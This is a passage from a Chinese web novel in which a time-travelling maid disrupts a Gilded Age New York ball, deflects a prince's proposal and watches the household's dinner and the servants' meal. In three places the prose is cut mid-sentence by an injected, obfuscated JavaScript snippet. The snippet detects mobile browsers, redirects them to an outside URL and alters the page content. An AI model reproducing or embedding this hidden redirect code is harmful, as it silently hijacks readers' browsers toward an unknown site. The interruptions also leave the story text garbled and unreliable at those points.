她转身又端来杯冒泡的香槟。这次她的「魔法」更隐蔽。背过身的瞬间，指尖一弹，小纸包里的辣椒粉悄无声息融进气泡里。 「殿下，尝尝香槟？」她声音软糯，像个尽责的小可怜。 王子顺手拿起杯子。 安妮屏住呼吸。 王子优雅举杯，喝下一大口——动作突然僵住！眼睛瞪得溜圆，仿佛看见金字塔倒立！喉咙发出「咳咳」怪声。 那味道太复杂了！先是香槟甜，接着柠檬酸重拳出击，最后辣椒粉烈火燎原！三重刺激直冲天灵盖！ 「噗——！！咳咳！嗬——！」他再也绷不住，弯腰喷出液体，像个人形喷泉。他呛得满脸通红，眼泪直流，捂着脖子狂咳，神秘感全无。 周围瞬间安静，所有人都看呆了。 也有人遭了殃，赶紧询问更衣室，前往换洗。 「水！快给我水！」王子嘶哑喊道，声音像被掐脖的鸭子。 玛蒂尔达夫人脸色铁青。施耐德先生立刻上前，一面指挥仆人送水，一面面不改色圆场：「万分抱歉殿下！这批香槟……呃……味道非常独特，惊扰您了！」 没人怀疑有人会在香槟里做手脚，更没人注意罪魁祸首早已缩回角落，低眉顺眼，肩膀微耸，不知是吓的还是乐的。 阴影里米芙抬起头，目光穿过人群，精准落向安妮。 恰在此时，安妮也看向米芙。眼神中一种得胜后的窃喜还未来得及掩藏。 米芙的目光，无声问道：你做的？ 安妮只是极快、极轻微地摇了一下头，示意米芙别露声色。 舞池里的音乐重新响起，什么都没有发生。 / 安妮刚退回阴影处，就感觉一道不容忽视的目光落在了自己身上。 她抬头，心里咯噔一下——那位刚被她捉弄过的阿拉伯王子，正穿过人群，径直朝她走来。 他脸上还带着刚才呛咳留下的些许红晕，眼神里却混合着探究和一种让她不安的兴致。 他在安妮面前站定，高大的身影带来一股压迫感。他无视周围宾客诧异的目光，用那带着口音的英语朗声开口，声音足以让附近的人都听见：「你很有趣。我邀请你跳下一支舞。」 一瞬间，周遭的空气仿佛凝固了。 凝固的还有安妮。思绪片刻间已经百转千回，难道——霸道总裁爱上我的情节要上演了？ 玛蒂尔达夫人的脸色变得更难看了。一个王子邀请一个女仆跳舞？这简直是闻所未闻的荒唐事！不是抬举，更像是某种羞辱式的戏弄。 安妮的心狂跳起来。她根本不会跳这个时代的交谊舞！那些舞步，她只在电视上见过。 拒绝？她不敢。接受？当众出丑几乎是一定的。 「殿下，我……」安妮声音发紧，「我只是个女仆，我不懂……」 「不懂可以学。」王子打断她，语气带着不容置疑的戏谑，「还是说，布鲁克家的女仆，连最简单的舞步都不会？」这话隐隐将压力抛向了主家。 玛蒂尔达夫人嘴唇抿得死死的，却不好出面阻止。 安妮知道躲不过了。她硬着头皮，将手轻轻放在王子伸出的手上。 音乐响起，是一支轻快的波尔卡。安妮几乎是被王子拖着进入舞池的。她努力回忆着看过的零星画面，脚步却混乱不堪，好几次狠狠踩在王子的靴子上。王子皱紧了眉头，似乎没料到她会这么笨拙，这舞跳得毫无乐趣可言，只剩尴尬。周围传来压抑的低笑声。 一曲终了，安妮的脸红得像要滴血，只想立刻挖个地洞钻进去。 王子松开手，语气略带嘲讽：「你真不会跳舞，难道只会端茶送水？」 安妮知道这是对方的还击。王子已经猜到了是自己在酒水中动手脚，但没有证据揭露。 也许是窘迫到了极点反而生出勇气，安妮脑中灵光一闪，忽然抬起头，脸上挤出个怯生生却又带着点期待的笑容：「殿下，我们故乡的舞步和这里不太一样。那是一种更快乐、更简单的舞蹈，大家围成圈，跟着节奏一起跳，不需要复杂的步伐。您……想试试吗？」 王子挑挑眉，彷佛真被勾起了好奇心：「哦？什么样的舞蹈？」 「它叫……『快乐踏步舞』。」安妮临时胡诌了个名字，其实就是她小时候跳的简化版兔子舞，「只需要跟着音乐，左左右右，前前后后，轻轻跳起来就好，大家手拉手，就像一场游戏。」 她的话也引起了周围一些年轻宾客的兴趣，他们看惯了规规矩矩的华尔兹，对这新奇的玩法感到好奇。加上酒精的作用，开始起哄，「跳这个，跳这个！」 王子似乎觉得这会让安妮更丢人，便点了点头：「有点意思。你来示范。」 安妮心一横，已经顾不上玛蒂尔达夫人投来的眼刀，走到乐师旁边，低声飞快地哼了一小段简单重复、节奏明快的调子。乐师们面面相觑，但在一众起哄声中，还是尝试着奏出了一段类似的、循环的活泼旋律。 这音乐正是2000年前后风靡一时的电子音乐《Penguin''s Game》的节奏。很多人跳兔子舞会选的经典曲目。 安妮站在舞池中央，感觉所有人的目光都钉在自己身上。她硬着头皮，开始做动作：「大家看，就这样，双手搭在前面人的肩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417899|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……对，就这样……然后跟着节奏，左脚点两下，右脚点两下，向前跳一步，向后跳一步，再原地蹦三下！很简单！」 她一边说一边将手搭在王子的白袍上，动作稚气得像是孩童游戏。 玛蒂尔达夫人眉头紧锁，觉得安妮把布鲁克家舞会的格调都丢尽了。她刚要呵斥「简直是在胡闹！」 却见几个年轻人觉得好玩，加入了进来。接着，更多人被这新奇简单的舞蹈和欢快节奏吸引，嘻嘻哈哈地加入队伍，很快就连成了歪歪扭扭的长龙。舞会里紧绷的社交礼仪仿佛一下子被打破了，充满了笑声和杂乱的脚步声。 王子在人群中忽然大笑，他似乎觉得这比正经跳舞好玩多了。玛蒂尔达夫人看着这意想不到的场面，明智地闭上了嘴巴，紧锁的眉头渐渐舒展——无论如何，她的舞会变成这个舞会季特别而令人难忘的存在。 安妮看着这荒诞而热闹的场面，刚松了口气，却瞥见王子再次投来的目光…… / 舞会临近十点，宾客们陆续开始道别。 安妮躲到走廊边摆放点心的长桌旁，想歇歇脚。 一个身影挡在她面前。是那位阿拉伯王子。 他目光直接地看着她：「你，很特别。不像这里的女人。」 安妮心里警铃大作，下意识后退半步。 「我们有很多共通之处」王子语气笃定，仿佛在陈述一个既定事实，「跟我走。你不用再做这些伺候人的活儿。」 安妮头皮一阵发麻。 1870年代的阿拉伯地区？她历史系的知识瞬间涌入脑海——那绝不是后世石油带来的富庶天堂，而是奥斯曼帝国孱弱统治下、封闭保守的地区。女性地位低下，生活在一个与现代文明截然不同的世界里。 跟他走？那等于跳进另一个完全失去自由的牢笼，比当女仆可怕千万倍！ 她迅速镇定下来，脸上露出一种混合着虔诚与坚定的表情，微微屈膝行礼：「殿下，您的厚爱让我惶恐。但是，我自幼信奉天主，我们坚信一夫一妻是上帝赐予最美好的婚姻关系，彼此忠诚，互为唯一。我无意冒犯，但恐怕在你们那里，无法保证这一点。」她抬起眼，目光冷静而清澈，看着他，「而且，在纽约，我们相信女性也可以通过自己的劳动获得尊重，拥有独立的地位。我很感激现在的生活。请您原谅。」 她的话说得冠冕堂皇，引用了对方难以反驳的价值观。 阿拉伯王子愣住了。他显然没料到会得到这样的回答。他盯着安妮看了几秒，眼神里的热切慢慢冷却，最终化为一丝不解和黯然。他沉默地点点头，没再说什么，转身离开了。 安妮看着他的背影，无声地舒了一口气。又像是什么东西丢失了一样，让她空落落的。 她来不及细想。 就在这时，宴会厅门口传来一阵轻微的骚动。 一个略显疲惫但沉稳的男声响起：「希望我还不算来得太晚，玛蒂尔达。」 安妮循声望去。 19. 诗人与大亨 晚上十点，布鲁克家的舞会正行进至高潮与尾声的微妙交接处。 舞池里，几对璧人仍手拉着手左脚点两下，右脚点两下，但更多的宾客已退至场边。女士们摇着精致的羽毛扇，绅士们则聚在一起，低声谈论着时局与生意。侍从，女仆，如同时钟里精准的齿轮，无声地穿梭其间，撤下空杯，递上可可。 突然，前厅传来门童清晰而洪亮的通报声：「查尔斯·范里安先生到！」 这一声通报，让整个舞会的节奏产生了微妙的凝滞。许多宾客都下意识地朝大门方向望去。 阿拉伯王子虽神秘，却只是纽约的过客；查尔斯·范里安才是纽约掌握权势的大人物之一。 更何况最近报纸上全是关于他家的新闻。 范里安先生步履匆匆地走了进来，他的黑色燕尾服一丝不苟，但眉宇间带着难以掩饰的疲惫。「玛蒂尔达，我亲爱的姐姐，请务必原谅我。」他径直走向女主人，声音低沉，带着真诚的歉意，「紧急事务拖延得太久。希望我没有完全错过您的盛会。」 玛蒂尔达夫人脸上立刻浮现出完美无缺的笑容，比以往更真诚，她伸出手：「查尔斯，你能赶来就足够了。舞会尚未结束，正好，我原就打算留几位挚友在会后小聚，你来了正好一起。」 「您太周到了，但我恐怕已打扰了舞会的雅兴。」范里安先生语气礼貌，亲吻了她的手背，「不如这样，我先不打扰大家，待舞会结束后我们再谈？」 就在这时，两位重量级的宾客——阿斯特夫人和范德比尔特夫人——几乎同时向女主人走来，准备第一个道别。她们看到了范里安先生，短暂的视线交锋中流露出微妙的竞争。 「范里安先生，晚上好。」阿斯特夫人率先开口，微微颔首，姿态无可挑剔，「看来您的铁路帝国一刻也离不开您。」 「晚上好，阿斯特夫人，范德比尔特夫人。」范里安先生转身，从容应答，「总是有些小波折需要处理。希望二位今晚尽兴。」 范德比尔特夫人笑容明艳，不甘示弱地接话：「托玛蒂尔达的福，总是如此。范里安先生，再忙碌也需记得享受生活。」寒暄简短而克制，每一句都遵循着上流社会的标准，也是一次无声的地位确认。 玛蒂尔达夫人亲自将两位夫人送至大门。阿斯特夫人似乎无意间快了半步，率先从施耐德管家手中接过一份丝绒礼盒，微笑道别后，优雅登上了自己的豪华马车。 范德比尔特夫人几乎同时接过自己的礼盒。走时，不忘拽上两个还恋恋不舍的女儿，她们满脑子还想着再跳一曲「快乐踏步舞」。 其中一个女儿央求道：“妈妈，再让我们跳一曲……” 回应她的只有一个凶狠的眼神。转过身，她又春风和煦地向玛蒂尔达夫人说：“玛蒂尔达，今天的舞会让人难忘！就让先生们接着余兴活动吧，我们就先回去了，您知道按时作息对女人非常重要。” 说罢，推着两个女儿上了马车。两辆车相继驶离，仿佛一场无声的退场竞赛。 送走这两位重要客人，舞会也自然步入尾声。玛蒂尔达夫人与范里安先生低声交谈了几句，便由施耐德管家安排，移步至更私密雅致的小客厅。几位显然与他们关系密切的男士——包括阿斯特先生、范德比尔特先生等几位显要人物——以及家族成员如伊迪丝，埃莉诺小姐，也一同前往。 比起舞会，男士们显然更期待与这位迟到的铁路大亨进行实质性的交流。 安妮和另外几名女仆被选派到小客厅服务。她端着摆放着白兰地酒杯和少量精致咸点心的银质托盘，安静地侍立在角落。 小客厅内的气氛与舞厅截然不同，更加放松，也更加聚焦。壁炉里的火噼啪作响，空气中弥漫着优质雪茄和醇酒的气息。男士们松散地坐在沙发或扶手椅上，话题迅速从舞会的闲谈转入正题。 「查尔斯，通往芝加哥的线路处理的怎么样了？」鬓角花白的阿斯特先生啜了一口白兰地，开门见山地问道。 范里安先生解开了领结最上面的扣子，略显疲惫但眼神淡定：「暂时控制住了。主要是新引进的刹车部件在重载下出了纰漏，已经让工程师团队连夜赶工更换。代价不小，但安全最重要。」 「安全是幌子，股价才是真的吧？」另一道洪亮声音传来，是范德比尔特先生半开玩笑地调侃，引来几声低沉的笑声。 「安全就是最好的股价稳定剂。」范里安先生回答得滴水不漏，「这次虽然有些损失，但也证明了我们应对危机的速度和决心。下一步，会考虑投资研发更可靠的国产配件，总不能一直受制于欧洲的专利。」 玛蒂尔达夫人安静地听着，偶尔插话问及某个投资项目的运营情况，显示出她对家族财富的清晰掌控。安妮捕捉着这些碎片信息，逐渐拼凑出范里安先生与布鲁克家真正的关系。 范里安先生不仅是铁路大亨，还是玛蒂尔达丈夫——已故范里安先生的弟弟。自从她丈夫去世后，玛蒂尔达仍然与夫家的亲戚保持紧密往来。毕竟她很大一部分出息来自参与到小范里安先生的投资，利益的捆绑比什么关系都更为紧密。 困惑安妮许久的称谓问题，也终于豁然开朗。 她出嫁前叫玛蒂尔达·布鲁克小姐，家族从纽约建城之初就已然扎根。出嫁后改随夫姓，叫范里安太太，丈夫去世后，她只让身边的人称呼自己玛蒂尔达。 原来如此。 几位先生开始玩起了桥牌，赌注适中，谈话在出牌的间隙继续。埃莉诺小姐则安静地坐在稍远处的软凳上，翻阅着一本画册。 就在这时，一个不和谐的身影——汤姆·瑞克斯——略显局促地出现在了门口。他大概是凭借为书房翻新供应木材那点微弱联系，才胆敢留到最后。他崭新的橄榄绿礼服此刻看起来有些僵硬，眼神热切地扫视着室内，最终落在了埃莉诺小姐身上。 他深吸一口气，挺直腰板，心里默念：“汤姆·瑞克斯，今晚就是你飞黄腾达的日子，别搞砸了！” 玛蒂尔达看见来人，此刻的表情，用安妮的形容就是，哑巴吞黄连！笑比哭难看！她只能邀请对方进来。 汤姆·瑞克斯试图插入男士们的谈话，但那些关于资本、铁路和专利的话题让他无从下手。他的目光一次次瞟向埃莉诺，机不可失的焦虑灼烧着他。 突然，他像是下了极大决心，猛地站起身，从内袋里掏出一张小小的纸片。 他声音因激动而发颤：「范里安先生，玛蒂尔达夫人，请原谅我的冒昧……请允许我朗诵一首诗，献给我心中最璀璨的明珠，埃莉诺小姐！」 谈话声和牌局戛然而止。 玛蒂尔达夫人的笑容彻底冻结。范里安先生抬起眼，目光中带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417900|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着了然和审视。埃莉诺小姐的脸颊瞬间失去血色，手指紧紧攥住了画册的边缘。 汤姆却仿佛置身于自我感动的舞台中央，开始用夸张的腔调朗诵：「啊，我的爱人，你像玫瑰一样美丽，像月亮一样明亮……」 诗句肉麻又直白。 他因为“情感过于投入”，身体开始不自觉地小幅晃动，手臂也会随着朗诵节奏摆动。 「哦，你的眼眸如最深的森林 你的微笑如锯开的松木般清新 我愿做你永远的木材供应商 提供最优质的情感材料。」 安妮看到埃莉诺小姐窘迫得无地自容。 今夜已经勇过一次，就不怕再疯一次。对不起了，瑞克斯先生。 她随即低下头，看似恭敬地端着一壶沏好没多久的红茶，悄无声息地移动脚步。她计算着角度和距离，最终在一个恰到好处的位置停下——这里离汤姆足够近，正好在他可能因“忘情”而移动或挥臂的路径上，但又不会显得刻意。 汤姆果然越念越投入，感情“充沛”地向前迈步，手臂为了加强语气而向外一扬—— 「砰！」他的手肘结结实实地撞在了安妮端着的茶壶上。 「哎呀！」 温热的茶水猛地从壶口泼溅出来，大部分洒在安妮的手臂和裙摆上，小部分溅落在地毯上。茶壶差点脱手，发出刺耳的撞击声。 这突如其来的意外瞬间打断了汤姆的朗诵。所有人都看了过来。 安妮立刻后退一步，脸上瞬间布满惊慌和痛楚。 那热水是真的烫！ 她看向汤姆·瑞克斯，声音带着哽咽却清晰地说道：「万分抱歉！先生！是我不小心！挡了您的路！我立刻清理！」她第一时间将“过错”揽到自己身上，却帮助所有人脱离了“脚趾抠地”的尴尬。 汤姆的手臂被溅到的热水烫得一缩，愣在原地，满脸错愕，他根本没注意到这个女仆什么时候离他这么近。 玛蒂尔达夫人第一次觉得安妮这丫头顺眼。立刻开口，语气带着不容置疑的威严：「瑞克斯先生，请您小心些！安妮，伤得重不重？还不快下去处理一下！」 「是，夫人！」安妮忍着痛，再次低头，迅速转身离开去处理烫伤，她的任务已经完成——埃莉诺，祝你好运。 范里安先生意味深长地看了一眼安妮迅速退下的背影，又瞥了一眼满脸通红的汤姆，什么也没说，只是拿起雪茄吸了一口。 牌局和谈话很快重新开始，没人再理会汤姆那湿透了的诗笺。 伊迪丝小姐趁着混乱，快速拉着埃莉诺离开了小客厅。连一首钢琴练习曲都没有弹。 而汤姆，蔫蔫地坐回角落，再也提不起任何勇气。 / 当安妮待在仆从休息区清理自己时，埃莉诺小姐找了过来。 「安妮，你的手……」埃莉诺的声音充满了真实的关切，「严重吗？刚才……真的，多亏了你。」 安妮微微屈膝，声音平静「谢谢小姐关心，不要紧。刚才确实是个意外。」 埃莉诺没有再多说，但那眼神已说明一切。 她轻轻将一小盒药膏放在桌案上，改用小姐才会用的语气，命令道「把手伸出来，我给你抹一抹。」 「噗。」 两人同时笑了起来。 20. 「很知道分寸」 布鲁克家像一座闪亮的舞台。 舞会刚过去没多久。 一场为查尔斯·范里安先生安排的正式晚宴又开席了。 长桌上，沉重的银质枝形烛台闪耀着温暖的光芒，映照着一套套精美的迈森瓷器。 每副餐具的摆放都严格遵循礼仪，从外到内依次是生蚝叉、鱼刀、主餐刀、汤匙。玻璃杯也按顺序排列着，香槟杯、白酒杯、红酒杯。 穿着制服的男仆无声地站立在墙边。 安妮和其他几名女仆负责将厨房准备好的菜肴端到餐厅旁的备餐间，再由资格更老的侍者送入餐厅。她看到浓汤盛在带盖的精致瓷碗里被送上；整条鲑鱼配着荷兰酱汁，鱼眼处覆盖着着柠檬片；松露炖野鹿脊肉散发着浓郁的香气；烤孔雀被重新披上华丽的羽毛，仿佛仍在开屏。 每一道菜都像一件艺术品，伴随着不同的葡萄酒被依次奉上。 漫长的几个小时过去，晚宴进入尾声。 甜品塔、新鲜水果和干酪盘被送上。宾客们的姿态愈发松弛，谈笑声也变得更加随意响亮。安妮和露西得以在备餐间稍作喘息，隔着门缝，能隐约听到里面传来的谈话片段。 这个时候，就连露西这个爱说八卦的性格，也不说话了，只管扒着门缝努力津津有味地听着餐厅里的谈话。 话题主要围绕范里安先生承接的纽约第九大道高架线的顺利动工。大家说着恭维的话，偶尔夹杂着范德比尔特先生的几句酸话。 后来是些关于欧洲艺术、股票行情和纽波特夏季别墅的话题。 不知是谁起了个头，话题转向了不久前那场舞会上的趣闻。 「说到舞会，」阿斯特夫人用她特有的、略带拖沓的优雅腔调说，「最令我惊讶的，莫过于看到那位阿拉伯王子竟与一位女仆跳了舞。这可真是……不拘一格。」她轻轻摇着羽毛扇，语气里带着一丝不易察觉的揶揄。 范德比尔特夫人发出低沉的笑声：「我倒是听说，那位王子最后还被迷住了，甚至开口求婚了？真有此事吗，玛蒂尔达？」 玛蒂尔达夫人最近因「布鲁克快乐舞」的风靡正春风得意，浑不在意对面几人的语气。优雅地抿了一口餐后甜酒，微微一笑：「年轻人总有些异想天开的念头。不过，我们家的女仆倒是很懂规矩，知道自己的位置。」她说着，微微侧首，对侍立一旁的施耐德管家低声吩咐了一句。 施耐德管家点头，无声地退到备餐间，对安妮低声道：「安妮，夫人让你进去一下。」 安妮的心微微一紧。她深吸一口气，整理了一下略显褶皱的围裙，低着头，跟着管家走进那间灯火辉煌的餐厅。数十道目光瞬间落在她身上，让她感觉皮肤有些发烫。 「就是这位姑娘？」一位留着漂亮八字胡的先生饶有兴致地打量她。 「我听说，最后王子还想娶你做他的妻子，你拒绝了？」范德比尔特夫人直接问道，急于满足自己的好奇心。 八卦的女人！安妮低下头，看着光洁的地板，用清晰却谦卑的声音回答：「回夫人。我只是一个女仆，能陪尊贵的客人跳一支舞已是莫大的荣幸，不敢有任何非分之想。殿下仁慈，大约是可怜我笨拙，与我开个玩笑罢了。」 这些话她在脑子里捋了好多遍，就等着某天贵妇人随口一问，能从容应答。她的回答滴水不漏，顾及了所有人的颜面，更强调了主人家“懂规矩”的调教，彻底满足了在座宾客对“完美仆人”的想象，也多多少少让参与宴会期待听点不一样的宾客扫兴。 「看，我说了吧。」玛蒂尔达夫人满意地笑了笑，语气里带着一丝炫耀，「很知道分寸。」 阿斯特夫人微微颔首，似乎觉得无趣了，转而提起另一个话题：「说到舞会上的趣事，那个……那个朗诵情诗的年轻人又是谁？我亲爱的玛蒂尔达，难道是你特地请来表演滑稽戏的吗？我为错过那晚的余兴活动，懊恼呢。」她用手帕轻轻按了按嘴角，掩饰那抹嘲讽的笑意。 桌上响起一阵心照不宣的轻笑。 唯有坐在桌边的埃莉诺轻微不适。 玛蒂尔达夫人挥了挥手，仿佛在驱赶一只微不足道的小飞虫：「哦，那是瑞克斯先生，我们家一位木材供应商。最近我们正打算重新装潢书房，有了一丝交集。很有……嗯……进取心。」她巧妙地用“进取心”这个词，包裹住了十足的轻蔑。 「进取心？我看是昏了头。」查尔斯·范里安先生难得地开口评论，语气冷淡，「他怕是连玛埃莉诺今年几岁都没搞清楚，就已经把婚后生活幻想了个遍。」他的话引得几位男士发出更大的笑声。 「可不正是如此？」另一位先生附和道，「在这个时代，像他这样的年轻人太多了。满脑子都是向上爬的欲望，把别人出于礼貌的点头微笑都当成爱的暗示，把每一个社交场合都视为跃入天堂的跳板。却不知道，他们那点精心准备的、自以为是的‘体面’，在明眼人看来，从头到尾就是一场注定尴尬的闹剧。」 他们的谈话轻松而残忍，像在点评一出与己无关的戏剧。汤姆·瑞克斯那份炽热而粗糙的野心，成了这群真正掌握财富与权力的人佐餐的最佳笑料。他永远不会知道，自己视若珍宝的诗歌，在这些人眼中不过是滑稽戏。 安妮安静地站着，听着他们对一个努力想挤进这个圈子的人进行彻底的剖析和否定，心里泛起一丝复杂的凉意。她再次清晰地看到了那一道不可逾越的鸿沟。 「好了，没你的事了，下去吧。」玛蒂尔达夫人挥了挥手。 安妮如蒙大赦，再次低头行了一礼，安静而迅速地退出了餐厅，将那片璀璨灯光和轻松笑声重新关在门后。 她回到备餐间，露西立刻投来询问的眼神。安妮只是轻轻摇了摇头，拿起一块干净的布，开始默默地擦拭那些刚从餐厅撤下的、沾着昂贵酱汁的银盘。 晚宴结束。 宾客们移步客厅享用咖啡和白兰地。 厨房和备餐间则迎来了真正的“剩宴”。 / 安妮和露西将最后一批用过的餐具搬回厨房，他们看到的是： 仆人大厅长桌上，堆满了从宴席上撤下的盘子。许多菜肴几乎没被动过——整只的烤孔雀只少了胸脯最嫩的一小条；装饰着奶油玫瑰花的蛋糕被切走了可怜的一角；昂贵的鱼子酱还剩下大半；精心烹制的蔬菜被拨弄到一边，已然冷却…… 触目惊心的浪费。 这些被轻易舍弃的食物，其价值远超楼下所有仆人一周的餐食开支。这就是这里的规则，展示财富远比填饱肚子重要。 然后，就是仆人们不成文的“奖赏”时间——分食残羹。 然而，即便是这些被主人“淘汰”的食物，也遵循着楼下世界森严的等级制度。汤姆厨师拿着大勺子，像一位分配战利品的将军，虽然他自己也满脸油汗，疲惫不堪。他先将一些完整的、品相最好的肉块——比如那只烤孔雀剩下的部分——以及几乎没动过的精致甜品，仔细地拨到几个干净的盘子里。 「这是给施耐德先生和梅布尔太太的。」他粗声说着，把盘子推到一边。然后，他又挑出一些不错的肉排和完整的糕点，分给那些资格较老、地位稍高的女仆和男仆。他们默默地接过，脸上带着一丝疲惫的满足。 最后，才轮到安妮、露西、玛莎这样最低等的女仆和小帮工。 轮到安妮时，长桌上只剩下一些零碎和汁水。汤姆厨师舀了一点冷掉的、凝着一层白色油脂的肉汁浇在她递过来的盘子里，又拨了几根被酱汁浸得软烂、不成样子的芦笋，最后从那个被破坏的蛋糕角落，刮了一小块变形塌陷的边角料给她。 油腻和甜腻的气味混合在一起，直冲鼻腔。安妮看着盘子里这堆冰冷的、杂乱的食物，毫无食欲，甚至感到一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417901|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵恶心。她看着周围其他仆人们，包括露西和玛莎，都狼吞虎咽地吃着分到的东西，仿佛这是忙碌一天后最好的慰藉，心里涌起一股难以言喻的情绪。 她勉强吃了几口肉汁，胃里便开始翻江倒海。她脸色发白，额角渗出细密的冷汗，悄悄退到厨房最远的角落，靠着冰冷的石墙，紧紧闭上眼，试图压下那股强烈的不适感。 就在这时，一杯清澈、温热的燕麦粥无声地递到了她的面前。安妮惊讶地抬头，看到厨师汤姆关切地看着自己。 「啧，吃不下那些油乎乎的东西吧？」汤姆的声音依旧粗声粗气，但眼神里却有一丝不易察觉的了然和…或许是一点点同情？「刚来的都这样。胃受不了。喝点这个，暖暖胃，里头没放油，就一点盐。」 几乎是同时，另一只干净整洁得与厨房环境格格不入的手，也递过来一个红润饱满、看起来十分新鲜的苹果。安妮顺着那只手看去，更是吃了一惊——竟然是施耐德管家。 他不知何时也注意到了角落里的安妮，脸上依旧是那副古井无波的严肃表情。 「新鲜的苹果，有助于消化。」施耐德管家的声音平稳无波，仿佛只是在陈述一项经过验证的事实，「保持良好的体力，明天才能有效率地完成工作。身体的舒适是效率的基础。」 这两份突如其来的、截然不同的善意，让安妮一时愣住了。这碗简单的粥和这个冰凉的苹果，都同样珍贵。 「……谢谢您，汤姆先生。谢谢您，施耐德先生。」安妮接过温热的粥和冰凉的苹果，低声说道，一股真实的暖意顺着碗壁流入掌心，似乎真的驱散了胃里的一些冰冷和翻腾。 汤姆不甚在意地摆摆手，「赶紧吃完了好收拾，一堆活儿呢」就转身走开了。施耐德管家也微微颔首，转身继续去监督餐具归位和厨房的最终打扫。 玛莎瞥见这一切，发出一声不屑，「矫情，真爱装。」 …… 安妮小口喝着燕麦粥，胃里终于慢慢舒服了许多。她听着周围仆人们压低声音的闲聊和碗盘碰撞的声响，话题自然离不开今晚的宾客和刚才楼上的谈话。 露西凑到她身边，一边啃着一块冷掉的烤饼，一边小声问：「安妮，刚才他们在里面到底说什么了？是不是又拿汤姆·瑞克斯先生取笑了？」 玛莎也竖起了耳朵。 刚才上楼送咖啡的女仆压低声音，带着点学舌的兴奋：「可不是嘛！阿斯特夫人说他是滑稽演员！范里安先生笑他昏了头，连埃莉诺小姐年纪都没问就瞎想！还有个先生说，他们那种人，就是把礼貌当暗示，把社交当跳板，其实演的滑稽戏自己都不知道！」她模仿着那种轻蔑又娱乐的语气。 桌上响起几声压抑的、意味复杂的低笑。 「还有呢还有呢？」露西催促道。 「还说他，啧，‘很有进取心’。」女仆撇撇嘴，「这话听着可真够损的。」 「……要我说，还是范里安先生厉害。」一个年长些的男仆一边吃着剩菜一边加入谈话，「铁路大王啊，听说一条铁路赚的钱，几辈子都花不完。」 「可不是嘛，夫人的出息，一多半都指着他呢。」另一个女仆小声接口，「毕竟是自家小叔子，过世的范里安先生的亲弟弟。这利益捆得，比什么都紧。」 「怪不得夫人对他那么客气，专门又开晚宴。」 「不过听说他的铁路老出事呢，上回……」 「嘘！别瞎说！让上面听到还想不想干了！」 铁路。事故。生意伙伴。亲戚。进取心。 这些词在安妮脑海中盘旋。范里安先生代表的是充满力量却也带着风险的工业资本，而布鲁克姓氏则代表着更老牌的、扎根这座城市的名望。两者结合，构成了这个镀金时代坚固的堡垒。 她喝完最后一口粥。 然后拿起抹布，加入清理大军。 21. 带来一点点改变就好 「左脚，右脚，踏！对！就是这样！向前跳！」 仆从休息室难得地洋溢着些许欢快的气氛。 一天繁重的工作结束后，露西和另一个年轻女仆正模仿着新颖的舞步，嘴里哼着不成调的旋律。煤油灯摇曳的光芒将她们跳跃的身影投在墙壁上，显得有些滑稽却又充满生气。 「这叫『快乐踏步舞』，现在纽约的舞会上可流行了！」露西一边跳一边气喘吁吁地对旁边观看的女仆说，「听说就是从咱们夫人的舞会上传出去的！」 另一个女仆兴奋地补充：「可不是嘛！现在别人家开舞会，主人都会说：『来，让我们跳一支布鲁克踏步舞！』夫人表面上总是说：『不过是一些不入流的玩意儿，大家见笑了。』但我去伺候茶点的时候，觉得夫人私下里心情可好了，对谁都多了点笑脸呢！」 露西看到安妮，立刻把她拉起来：「安妮，你肯定跳得好！快来教教我们，这步子到底怎么转才顺？」 「对呀，安妮！你可是出尽风头了」开头说话的女仆，过来拉安妮的手，继续说「舞会的时候，我可是看的真真的，安妮特别镇定的在所有大人物面前说话，并且还教那位王子和绅士小姐们跳舞。」 「安妮，你太给我们女仆长脸了。」 玛莎原本沉闷的脸上也露出一丝好奇。 安妮被推搡着，有些不好意思，但看着大家期待的目光，还是点了点头。她仔细观察了一下露西她们的步子，轻声说：「这个舞的精髓不在步子多复杂，在于那种轻松快乐的感觉。脚步要轻快，像小时候踩水坑一样，带着点调皮。手臂自然摆动，想着我们做过的快乐的事情。」 她一边说，一边做了几个简单的示范动作，姿态自然而流畅，确实带着一种感染人的欢快感。 「哇！就是这样感觉！」露西惊喜地叫道。女仆们纷纷跟着安妮学起来，小小的房间里充满了简单直接的笑声。安妮在这短暂的热闹中，感受到了一丝难得的融入感。 就连梅布尔太太也只是进来看了眼，催促她们早点休息，并没有多说什么。 夜深了，女仆们陆续回到她们共用的狭窄卧室。 安妮最后检查了一遍所有使用过的工具，确保都回到原位，才从仆人通道上楼。 她躺在狭窄的床铺上，听着其他女仆平稳的呼吸声，无法入睡。手指无意识地在粗糙的毯子上画着汉字 —— 知识，突破口。 